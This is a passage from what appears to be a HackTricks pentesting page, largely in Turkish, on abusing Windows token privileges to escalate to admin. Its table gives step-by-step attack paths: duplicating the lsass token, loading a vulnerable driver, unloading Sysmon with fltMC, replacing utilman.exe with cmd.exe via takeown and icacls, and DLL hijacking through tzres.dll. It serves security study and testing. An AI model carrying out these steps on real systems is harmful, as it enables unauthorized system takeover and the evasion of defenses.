Ayrıca, [bu Medium makalesinde](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) `SeManageVolumePrivilege` ile birlikte DLL hijacking kullanarak ayrıcalıkları yükseltme süreci açıklanmaktadır. Bir payload DLL `C:\Windows\System32\wbem\tzres.dll` yerleştirerek ve `systeminfo` çağrısı yaparak dll çalıştırılır.
## Check privileges
```
whoami /priv
```
**Devre Dışı Görünen Token'lar** etkinleştirilebilir, aslında _Etkin_ ve _Devre Dışı_ token'ları kötüye kullanabilirsiniz.
### Tüm Token'ları Etkinleştir
Eğer devre dışı token'larınız varsa, tüm token'ları etkinleştirmek için [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) script'ini kullanabilirsiniz:
```bash
.\EnableAllTokenPrivs.ps1
whoami /priv
```
Or the **script** embed in this [**post**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/).
## Table
Full token privileges cheatsheet at [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin), summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
| Privilege | Impact | Tool | Execution path | Remarks |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Admin**_ | 3rd party tool | _"Bu, bir kullanıcının token'ları taklit etmesine ve potato.exe, rottenpotato.exe ve juicypotato.exe gibi araçlar kullanarak nt sistemine yükselmesine izin verecektir."_ | Teşekkürler [Aurélien Chalot](https://twitter.com/Defte_) güncelleme için. Bunu daha tarif benzeri bir şeyle yeniden ifade etmeye çalışacağım. |
| **`SeBackup`** | **Threat** | _**Built-in commands**_ | `robocopy /b` ile hassas dosyaları okuyun | <p>- %WINDIR%\MEMORY.DMP dosyasını okuyabiliyorsanız daha ilginç olabilir.<br><br>- <code>SeBackupPrivilege</code> (ve robocopy) açık dosyalarla çalışırken yardımcı değildir.<br><br>- Robocopy, /b parametresi ile çalışmak için hem SeBackup hem de SeRestore'ye ihtiyaç duyar.</p> |
| **`SeCreateToken`** | _**Admin**_ | 3rd party tool | `NtCreateToken` ile yerel yönetici hakları da dahil olmak üzere keyfi bir token oluşturun. | |
| **`SeDebug`** | _**Admin**_ | **PowerShell** | `lsass.exe` token'ını kopyalayın. | Script [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) adresinde bulunabilir. |
| **`SeLoadDriver`** | _**Admin**_ | 3rd party tool | <p>1. <code>szkg64.sys</code> gibi hatalı bir çekirdek sürücüsü yükleyin.<br>2. Sürücü zafiyetini istismar edin.<br><br>Alternatif olarak, bu ayrıcalık, <code>ftlMC</code> yerleşik komutunu kullanarak güvenlikle ilgili sürücüleri boşaltmak için kullanılabilir. Yani: <code>fltMC sysmondrv</code></p> | <p>1. <code>szkg64</code> zafiyeti <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a> olarak listelenmiştir.<br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">istismar kodu</a> <a href="https://twitter.com/parvezghh">Parvez Anwar</a> tarafından oluşturulmuştur.</p> |
| **`SeRestore`** | _**Admin**_ | **PowerShell** | <p>1. SeRestore ayrıcalığı ile PowerShell/ISE başlatın.<br>2. <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a> ile ayrıcalığı etkinleştirin.<br>3. utilman.exe'yi utilman.old olarak yeniden adlandırın.<br>4. cmd.exe'yi utilman.exe olarak yeniden adlandırın.<br>5. Konsolu kilitleyin ve Win+U tuşlarına basın.</p> | <p>Saldırı bazı AV yazılımları tarafından tespit edilebilir.</p><p>Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.</p> |
| **`SeTakeOwnership`** | _**Admin**_ | _**Built-in commands**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. cmd.exe'yi utilman.exe olarak yeniden adlandırın.<br>4. Konsolu kilitleyin ve Win+U tuşlarına basın.</p> | <p>Saldırı bazı AV yazılımları tarafından tespit edilebilir.</p><p>Alternatif yöntem, aynı ayrıcalığı kullanarak "Program Files" içinde depolanan hizmet ikili dosyalarını değiştirmeye dayanır.</p> |
| **`SeTcb`** | _**Admin**_ | 3rd party tool | <p>Token'ları manipüle ederek yerel yönetici haklarını dahil edin. SeImpersonate gerektirebilir.</p><p>Doğrulanması gerekiyor.</p> | |
## Reference
- Take a look to this table defining Windows tokens: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Take a look to [**this paper**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) about privesc with tokens.
{{#include ../../../banners/hacktricks-training.md}}